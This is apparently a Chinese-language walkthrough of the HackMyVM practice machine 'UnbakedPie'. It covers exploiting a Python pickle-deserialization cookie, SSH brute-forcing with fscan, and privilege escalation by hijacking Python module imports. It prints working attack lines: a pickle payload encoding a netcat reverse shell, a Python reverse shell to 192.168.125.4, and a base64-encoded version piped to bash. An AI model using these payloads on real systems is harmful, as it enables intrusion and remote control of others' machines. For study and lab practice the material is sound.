UnbakedPie
项目地址:https://downloads.hackmyvm.eu/unbakedpie.zip
是一个打包好的镜像文件
注意:导入 ova 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

反序列化
Pickle 反序列化
查看网页,当我们搜索一个东西后会看到有 search_cookie 参数

在网络请求中看响应

进行 Base64 解码
1 | 80 04 95 07 00 00 00 00 00 00 00 8c 03 61 61 61 91 6e |
扔给 AI 梭哈,Pickle 反序列化
| 偏移 | 字节 | Opcode | 含义 | 操作 |
|---|---|---|---|---|
| 0 | \x80 |
PROTO |
协议版本标识 | 声明使用 Pickle 协议版本 4 |
| 1 | \x04 |
(参数) | 版本号 | Protocol 4 |
| 2 | \x95 |
FRAME |
帧边界 | 标志一个新帧开始(Protocol 4+ 特性) |
| 3-10 | \x07\x00\x00\x00\x00\x00\x00\x00 |
(参数) | 帧长度 | 8字节小端整数 = 7(帧内数据长度) |
| 11 | \x8c |
SHORT_BINUNICODE |
短 Unicode 字符串 | 后跟1字节长度 + UTF-8字符串 |
| 12 | \x03 |
(参数) | 字符串长度 | 长度 = 3 |
| 13-15 | \x61\x61\x61 |
(参数) | 字符串内容 | ASCII: aaa |
| 16 | \x91 |
MEMOIZE |
记忆化 | 将栈顶对象存入 memo(优化重复引用) |
| 17 | \x2e |
STOP |
终止 | 返回栈顶对象,结束反序列化 |
还原出 Python 代码
1 | import pickle |
当 Python 执行 pickle.loads(data) 时,它并不是在 “解析数据”,而是启动了一个 Pickle 虚拟机 (PVM)
这是一个基于栈的执行环境,核心组件包括:
指令流:待执行的 Pickle 字节码
栈:用于存放操作数、中间结果和最终还原的对象
记忆区:一个字典,用于缓存已经创建的对象,处理循环引用和优化重复对象
当 Pickle 尝试序列化一个对象时,对于基础数据类型 (int, str, list),它可以直接记录其值
但对于自定义类的实例或包含不可序列化状态(如文件句柄、Socket)的对象,Pickle 无法直接保存其内存状态
此时,Pickle 会调用该对象的 __reduce__()(或 __reduce_ex__())魔法方法,询问对象:”我该如何重建你?”
__reduce__ 必须返回一个元组,最核心的结构是
1 | def __reduce__(self): |
当 PVM 遇到这种结构时,它会生成 REDUCE 指令,在反序列化阶段执行 callable(*args_tuple) 来 “复活” 该对象
理解了 __reduce__ 和 REDUCE,Pickle RCE 的攻击链就非常清晰了
攻击者不需要序列化一个真实的复杂对象,只需要伪造一个 __reduce__ 的返回值即可
1 | import pickle, os, base64 |
得到
1 | gASVOgAAAAAAAACMAm50lIwGc3lzdGVtlJOUjCJuYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC4xMjUuNCA5OTk5lIWUUpQu |
抓取搜索的包,替换掉 Cookie 发包拿到 Shell
提权
敏感信息泄露
信息收集发现是在 Docker 容器中
在站点目录中,发现一个数据库文件 /home/site/db.sqlite3,其中有很多用户
但是密码是加密的,对其爆破 SSH
1 | ./fscan -h 172.17.0.1 -user ramsey |
得到凭证
1 | ramsey:12345678 |
由于靶机上并未部署 SSH 客户端,所以采用 fscan 内置的命令执行功能
先准备好 Python 版本的反弹 Shell
1 | python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.125.4",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' |
1 | /fscan -h 172.17.0.1 -user ramsey -pwd "12345678" -c "echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE5Mi4xNjguMTI1LjQiLDg4ODgpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCIvYmluL2Jhc2giKSc= | base64 -d | bash" |
环境变量劫持
在家目录中看到 /home/ramsey/vuln.py
1 | #!/usr/bin/python |
当 Python 解释器执行到这一行时,它需要定位并加载 pytesseract 模块
1 | import pytesseract |
我们可以创建一个恶意文件打环境变量劫持
1 | touch pytesseract.py |
检查 oliver 用户权限
1 | oliver@unbaked:~$ sudo -l |
查看源码
1 | import docker |
还是一样打环境变量劫持
1 | touch /tmp/docker.py |
1 | Unb4ked_W00tw00t |